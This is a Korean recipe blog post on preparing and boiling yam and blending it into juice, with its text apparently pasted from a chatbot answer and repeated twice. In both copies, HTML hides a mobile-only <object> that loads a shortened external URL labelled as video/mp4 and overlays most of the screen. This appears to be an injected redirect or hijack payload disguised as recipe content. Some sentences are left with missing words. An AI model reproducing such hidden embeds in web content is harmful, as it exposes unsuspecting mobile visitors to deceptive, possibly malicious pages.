마 쥬스만드는법 마손질법 부터 마삶는법까지

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3e" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:28">마 쥬스, 집에서 간편하게 만들어 먹는 법!</h2><p data-sourcepos="3:1-3:41"><strong>마 손질부터 삶는 법까지, 모든 과정을 과 함께 알려드릴게요.</strong></p><h3 data-sourcepos="5:1-5:14">1. 마 고르는 법</h3><ul data-sourcepos="7:1-10:0"> <li data-sourcepos="7:1-7:39"><strong>껍질:</strong> 매끈하고 윤기가 있으며 상처가 없는 마를 선택하세요.</li> <li data-sourcepos="8:1-8:28"><strong>무게:</strong> 묵직하고 단단한 것이 신선합니다.</li> <li data-sourcepos="9:1-10:0"><strong>색깔:</strong> 옅은 노란색을 띠는 것이 좋습니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_c5985b267d47063f&quot;,&quot;c_01e361925d54b03a&quot;,null,&quot;rc_14ac5ef84e6731d4&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.youtube.com/watch?v=-ACWn78FcF0"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="마 고르는 법 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcT92RZfCYgouSES2zvfbG2IY5JSLknCAXVYPhgZWXZj6QetPNbVs_WhKj3bSt_A"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.youtube.com/watch?v=-ACWn78FcF0" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_c5985b267d47063f&quot;,&quot;c_01e361925d54b03a&quot;,null,&quot;rc_14ac5ef84e6731d4&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.youtube.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 마 고르는 법 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="13:1-13:12">2. 마 손질법</h3><ol data-sourcepos="15:1-19:0"> <li data-sourcepos="15:1-15:21">흐르는 물에 깨끗하게 씻어줍니다.</li> <li data-sourcepos="16:1-17:37">감자칼을 이용하여 껍질을 벗겨줍니다. <ul data-sourcepos="17:5-17:37"> <li data-sourcepos="17:5-17:37">마는 미끈거리기 때문에 장갑을 끼고 작업하면 편리합니다.</li> </ul> </li> <li data-sourcepos="18:1-19:0">껍질을 벗긴 마는 먹기 좋은 크기로 잘라줍니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_c5985b267d47063f&quot;,&quot;c_01e361925d54b03a&quot;,null,&quot;rc_14ac5ef84e6731d4&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///kwyn0110/221409457740"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="마 손질하는 과정 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcQ8CL9e2ry3W-4aWw_9bYdMNEd73n9e0ql1ciSEMvzMVFqitSWUmt5epSP1W750"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s:///kwyn0110/221409457740" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_c5985b267d47063f&quot;,&quot;c_01e361925d54b03a&quot;,null,&quot;rc_14ac5ef84e6731d4&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcQ-KZ_IQW4f8L4W7cwwlGTl85qFcme6Gb0Ip_PGSEX7cDyBoXlQ5aiwQrKZfPf4heWQ_PI-R4ttAvSs9DIBOsP2YJjBIu0m2a29_g"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 마 손질하는 과정 </div></div></single-image></response-element></div></ol><h3 data-sourcepos="22:1-22:21">3. 마 삶는 법 (생략 가능)</h3><ul data-sourcepos="24:1-27:0"> <li data-sourcepos="24:1-24:41">마는 생으로 갈아 마셔도 좋지만, 삶아서 먹으면 소화가 더 잘 됩니다.</li> <li data-sourcepos="25:1-25:21">냄비에 마와 물을 넣고 끓여줍니다.</li> <li data-sourcepos="26:1-27:0">마가 부드러워질 때까지 삶은 후 건져 물기를 제거합니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_c5985b267d47063f&quot;,&quot;c_01e361925d54b03a&quot;,null,&quot;rc_14ac5ef84e6731d4&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///heevely0522/221777436530"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="마 삶는 과정 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcR9uVmZNl75wMkz5YQyAB9PyZKSTcKTITdRh-SN75yNFLdeNVvmgD-LLMACxKza"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s:///heevely0522/221777436530" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_c5985b267d47063f&quot;,&quot;c_01e361925d54b03a&quot;,null,&quot;rc_14ac5ef84e6731d4&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcQ-KZ_IQW4f8L4W7cwwlGTl85qFcme6Gb0Ip_PGSEX7cDyBoXlQ5aiwQrKZfPf4heWQ_PI-R4ttAvSs9DIBOsP2YJjBIu0m2a29_g"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 마 삶는 과정 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="30:1-30:15">4. 마 쥬스 만들기</h3><ol data-sourcepos="32:1-35:0"> <li data-sourcepos="32:1-33:42">믹서기에 삶은 마 또는 생마, 우유, 꿀을 넣고 갈아줍니다. <ul data-sourcepos="33:5-33:42"> <li data-sourcepos="33:5-33:42">취향에 따라 바나나, 사과 등 다른 과일을 함께 넣어도 좋습니다.</li> </ul> </li> <li data-sourcepos="34:1-35:0">곱게 갈린 쥬스를 컵에 따라 마십니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_c5985b267d47063f&quot;,&quot;c_01e361925d54b03a&quot;,null,&quot;rc_14ac5ef84e6731d4&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6961378"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="마 쥬스 만들기 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcRJOXlZZD2LLEmxOGpkAKHYeaidE0BhE9V86_cEChRR2_S_gxeevfBPAlRh7egB"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6961378" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_c5985b267d47063f&quot;,&quot;c_01e361925d54b03a&quot;,null,&quot;rc_14ac5ef84e6731d4&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 마 쥬스 만들기 </div></div></single-image></response-element></div></ol><p data-sourcepos="38:1-38:6"><strong>꿀팁</strong></p><ul data-sourcepos="40:1-43:0"> <li data-sourcepos="40:1-40:31">마는 뮤신 성분이 풍부하여 위벽 보호에 효과적입니다.</li> <li data-sourcepos="41:1-41:31">냉장 보관 시 2-3일 이내에 마시는 것이 좋습니다.</li> <li data-sourcepos="42:1-43:0">마 쥬스는 아침 식사 대용이나 간식으로 좋습니다.</li> </ul><p data-sourcepos="44:1-44:16"><strong>다양한 마 쥬스 레시피</strong></p><ul data-sourcepos="46:1-49:0"> <li data-sourcepos="46:1-46:23"><strong>기본 마 쥬스:</strong> 마, 우유, 꿀</li> <li data-sourcepos="47:1-47:29"><strong>바나나 마 쥬스:</strong> 마, 바나나, 우유, 꿀</li> <li data-sourcepos="48:1-49:0"><strong>사과 마 쥬스:</strong> 마, 사과, 우유, 꿀</li> </ul><p data-sourcepos="50:1-50:44"><strong>이 없는 경우, 텍스트 기반으로 상세한 설명을 추가할 수 있습니다.</strong></p><ul data-sourcepos="52:1-55:0"> <li data-sourcepos="52:1-52:45"><strong>마 손질 시 주의사항:</strong> 마는 칼에 베이기 쉽기 때문에 조심해야 합니다.</li> <li data-sourcepos="53:1-53:43"><strong>마 삶는 시간:</strong> 마의 크기에 따라 삶는 시간이 달라질 수 있습니다.</li> <li data-sourcepos="54:1-55:0"><strong>마 쥬스 꿀 대신:</strong> 꿀 대신 아가베 시럽이나 메이플 시럽을 사용할 수 있습니다.</li> </ul><p data-sourcepos="56:1-56:39"><strong>혹시 원하는 부분이 있다면 더 자세히 설명해 드릴 수 있습니다.</strong></p><ul data-sourcepos="57:1-59:0"> <li data-sourcepos="57:1-57:29">예시: "마 쥬스 효능에 대해 더 알고 싶어요."</li> <li data-sourcepos="58:1-59:0">예시: "마를 이용한 다른 요리법이 궁금해요."</li> </ul><p data-sourcepos="60:1-60:33"><strong>지금 바로 집에서 건강한 마 쥬스를 만들어 보세요!</strong></p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3e" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:28">마 쥬스, 집에서 간편하게 만들어 먹는 법!</h2><p data-sourcepos="3:1-3:41"><strong>마 손질부터 삶는 법까지, 모든 과정을 과 함께 알려드릴게요.</strong></p><h3 data-sourcepos="5:1-5:14">1. 마 고르는 법</h3><ul data-sourcepos="7:1-10:0"> <li data-sourcepos="7:1-7:39"><strong>껍질:</strong> 매끈하고 윤기가 있으며 상처가 없는 마를 선택하세요.</li> <li data-sourcepos="8:1-8:28"><strong>무게:</strong> 묵직하고 단단한 것이 신선합니다.</li> <li data-sourcepos="9:1-10:0"><strong>색깔:</strong> 옅은 노란색을 띠는 것이 좋습니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_c5985b267d47063f","c_01e361925d54b03a",null,"rc_14ac5ef84e6731d4",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.youtube.com/watch?v=-ACWn78FcF0"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="마 고르는 법 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcT92RZfCYgouSES2zvfbG2IY5JSLknCAXVYPhgZWXZj6QetPNbVs_WhKj3bSt_A"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.youtube.com/watch?v=-ACWn78FcF0" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_c5985b267d47063f","c_01e361925d54b03a",null,"rc_14ac5ef84e6731d4",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.youtube.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 마 고르는 법 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="13:1-13:12">2. 마 손질법</h3><ol data-sourcepos="15:1-19:0"> <li data-sourcepos="15:1-15:21">흐르는 물에 깨끗하게 씻어줍니다.</li> <li data-sourcepos="16:1-17:37">감자칼을 이용하여 껍질을 벗겨줍니다. <ul data-sourcepos="17:5-17:37"> <li data-sourcepos="17:5-17:37">마는 미끈거리기 때문에 장갑을 끼고 작업하면 편리합니다.</li> </ul> </li> <li data-sourcepos="18:1-19:0">껍질을 벗긴 마는 먹기 좋은 크기로 잘라줍니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_c5985b267d47063f","c_01e361925d54b03a",null,"rc_14ac5ef84e6731d4",null,null,"ko",null,null,null,null,1,0]];mutable:true" s:///kwyn0110/221409457740"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="마 손질하는 과정 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQ8CL9e2ry3W-4aWw_9bYdMNEd73n9e0ql1ciSEMvzMVFqitSWUmt5epSP1W750"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s:///kwyn0110/221409457740" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_c5985b267d47063f","c_01e361925d54b03a",null,"rc_14ac5ef84e6731d4",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQ-KZ_IQW4f8L4W7cwwlGTl85qFcme6Gb0Ip_PGSEX7cDyBoXlQ5aiwQrKZfPf4heWQ_PI-R4ttAvSs9DIBOsP2YJjBIu0m2a29_g"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 마 손질하는 과정 </div></div></single-image></response-element></div></ol><h3 data-sourcepos="22:1-22:21">3. 마 삶는 법 (생략 가능)</h3><ul data-sourcepos="24:1-27:0"> <li data-sourcepos="24:1-24:41">마는 생으로 갈아 마셔도 좋지만, 삶아서 먹으면 소화가 더 잘 됩니다.</li> <li data-sourcepos="25:1-25:21">냄비에 마와 물을 넣고 끓여줍니다.</li> <li data-sourcepos="26:1-27:0">마가 부드러워질 때까지 삶은 후 건져 물기를 제거합니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_c5985b267d47063f","c_01e361925d54b03a",null,"rc_14ac5ef84e6731d4",null,null,"ko",null,null,null,null,1,0]];mutable:true" s:///heevely0522/221777436530"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="마 삶는 과정 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcR9uVmZNl75wMkz5YQyAB9PyZKSTcKTITdRh-SN75yNFLdeNVvmgD-LLMACxKza"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s:///heevely0522/221777436530" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_c5985b267d47063f","c_01e361925d54b03a",null,"rc_14ac5ef84e6731d4",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQ-KZ_IQW4f8L4W7cwwlGTl85qFcme6Gb0Ip_PGSEX7cDyBoXlQ5aiwQrKZfPf4heWQ_PI-R4ttAvSs9DIBOsP2YJjBIu0m2a29_g"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 마 삶는 과정 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="30:1-30:15">4. 마 쥬스 만들기</h3><ol data-sourcepos="32:1-35:0"> <li data-sourcepos="32:1-33:42">믹서기에 삶은 마 또는 생마, 우유, 꿀을 넣고 갈아줍니다. <ul data-sourcepos="33:5-33:42"> <li data-sourcepos="33:5-33:42">취향에 따라 바나나, 사과 등 다른 과일을 함께 넣어도 좋습니다.</li> </ul> </li> <li data-sourcepos="34:1-35:0">곱게 갈린 쥬스를 컵에 따라 마십니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_c5985b267d47063f","c_01e361925d54b03a",null,"rc_14ac5ef84e6731d4",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6961378"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="마 쥬스 만들기 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRJOXlZZD2LLEmxOGpkAKHYeaidE0BhE9V86_cEChRR2_S_gxeevfBPAlRh7egB"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6961378" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_c5985b267d47063f","c_01e361925d54b03a",null,"rc_14ac5ef84e6731d4",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 마 쥬스 만들기 </div></div></single-image></response-element></div></ol><p data-sourcepos="38:1-38:6"><strong>꿀팁</strong></p><ul data-sourcepos="40:1-43:0"> <li data-sourcepos="40:1-40:31">마는 뮤신 성분이 풍부하여 위벽 보호에 효과적입니다.</li> <li data-sourcepos="41:1-41:31">냉장 보관 시 2-3일 이내에 마시는 것이 좋습니다.</li> <li data-sourcepos="42:1-43:0">마 쥬스는 아침 식사 대용이나 간식으로 좋습니다.</li> </ul><p data-sourcepos="44:1-44:16"><strong>다양한 마 쥬스 레시피</strong></p><ul data-sourcepos="46:1-49:0"> <li data-sourcepos="46:1-46:23"><strong>기본 마 쥬스:</strong> 마, 우유, 꿀</li> <li data-sourcepos="47:1-47:29"><strong>바나나 마 쥬스:</strong> 마, 바나나, 우유, 꿀</li> <li data-sourcepos="48:1-49:0"><strong>사과 마 쥬스:</strong> 마, 사과, 우유, 꿀</li> </ul><p data-sourcepos="50:1-50:44"><strong>이 없는 경우, 텍스트 기반으로 상세한 설명을 추가할 수 있습니다.</strong></p><ul data-sourcepos="52:1-55:0"> <li data-sourcepos="52:1-52:45"><strong>마 손질 시 주의사항:</strong> 마는 칼에 베이기 쉽기 때문에 조심해야 합니다.</li> <li data-sourcepos="53:1-53:43"><strong>마 삶는 시간:</strong> 마의 크기에 따라 삶는 시간이 달라질 수 있습니다.</li> <li data-sourcepos="54:1-55:0"><strong>마 쥬스 꿀 대신:</strong> 꿀 대신 아가베 시럽이나 메이플 시럽을 사용할 수 있습니다.</li> </ul><p data-sourcepos="56:1-56:39"><strong>혹시 원하는 부분이 있다면 더 자세히 설명해 드릴 수 있습니다.</strong></p><ul data-sourcepos="57:1-59:0"> <li data-sourcepos="57:1-57:29">예시: "마 쥬스 효능에 대해 더 알고 싶어요."</li> <li data-sourcepos="58:1-59:0">예시: "마를 이용한 다른 요리법이 궁금해요."</li> </ul><p data-sourcepos="60:1-60:33"><strong>지금 바로 집에서 건강한 마 쥬스를 만들어 보세요!</strong></p></div> </div></div>